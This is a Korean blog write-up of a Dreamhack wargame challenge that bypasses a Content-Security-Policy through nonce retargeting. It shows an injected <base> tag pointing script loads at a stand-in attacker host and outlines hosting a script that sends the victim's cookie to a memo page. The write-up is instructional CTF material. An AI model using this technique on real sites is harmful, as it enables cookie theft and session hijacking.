2003

[Wargame] CSP Bypass Advanced 본문

보안/WEB

[Wargame] CSP Bypass Advanced

saya. 2024. 2. 14. 10:29

CSP Bypass의 패치된 문제입니다.

 

Navi

1. CSP 정책이 설정되어 있는 것을 확인

response.headers['Content-Security-Policy'] = 
f"default-src 'self'; 
img-src https://dreamhack.io; 
style-src 'self' 'unsafe-inline'; 
script-src 'self' 'nonce-{nonce}'; 
object-src 'none'"

 

* default-src: 정책이 설정되지 않았거나 잘못 설정되었을 시 기본적으로 출처는 현재 도메인 ( host3.dreamhack.games)으로 제한

* img-src: 이미지, favicon 등의 출처는 https://dreamhack.io 

* style-src: stylesheet의 출처는 현재 도메인으로 제한하고, HTML 요소 내부에 인라인 스타일을 사용할 수 있도록 허용

* script-src: javascript 등의 출처는 현재 도메인으로 제한하고, 특정 nonce 값을 가진 스크립트만 실행할 수 있도록 허용

* object-src: 어떤 출처도 허용되지 않으므로, <object> 태그를 사용하여 외부 리소스를 로드하지 못함

 

2. 입력한 페이로드는 HTML로 인코딩되어 나타나며 nonce 값도 예측할 수 없기 때문에, 직접 스크립트 삽입은 불가능해 보입니다.

 

Exploit

1. base-uri 에 대한 CSP 정책이 지정되어 있지 않습니다.

  • HTML 하이퍼링크에서 호스트 주소 없이 경로를 지정할 시 현재 문서를 기준으로 주소를 해석
  • <base> 태그로 경로가 해석되는 기준점을 변경할 수 있으며, <a>, <form> 등의 target 속성의 기본값 또한 변경됨
  • <base> 태그로 기준점을 변경 시, HTML의 상대 경로를 사용하는 URL들이 의도치 않게 다른 위치(공격자의 서버 등)의 자원을 가리키게 될 수 있으며 공격자는 이를 통해 임의의 스크립트를 HTML에 포함시킬 수 있음
<base href="https://malice.test">
<script src="/jquery.js" nonce=NONCE> 
<!-- jquery.js는 base 태그에 의해 https://malice.test/jquery.js를 가리킵니다. -->
  • 이러한 공격을 Nonce Retargeting 이라고 함

 

2. vuln 페이지에 다음과 같은 스크립트를 불러오도록 nonce와 함께 지정되어 있습니다. 따라서 Nonce Retargeting 공격을 시도해 볼 수 있습니다.

 

Conclusion

base-uri에 대한 제한이 없으니, <base> 태그를 삽입하여 경로가 해석되는 기준점을 공격자 서버로 둔다.

공격자 서버에서 페이지에 포함된 script들을 불러올 수 있도록 똑같은 경로에 스크립트 파일을 생성한다.

해당 스크립트 파일의 내용에 공격 페이로드를 작성한다.

 

1. 공격자 서버는 github.io를 이용하였습니다. 외부에서도 접근 가능해야 하기에 로컬 웹서버는 사용 불가능 합니다.

github.io에 /static/js 경로를 생성하고, jquery.min.js 혹은 bootstrap.min.js 이름의 스크립트 파일을 생성합니다.

 

2. 해당 스크립트 파일에는 내용을 다음과 같이 작성해 줍니다. memo로 리다이렉트하여 cookie 값을 memo에 남도록 하면 플래그 값을 얻을 수 있습니다.

 

3. 왜 127.0.0.1:8000 주소를 쓰는지는 app.py을 살펴보면 다음과 같이 0.0.0.0 ip 및 8000번 포트에서 서버가 실행되고 있기 때문입니다.

 
app.run(host="0.0.0.0", port=8000)

 

4. 세팅 후 flag 페이지에는 <base href="https://***.github.io/">와 같이 개인 웹서버 주소를 삽입하여, vuln 페이지 내 script들이 개인 서버의 자원을 가리키도록 합니다.

5. 플래그를 얻을 수 있습니다.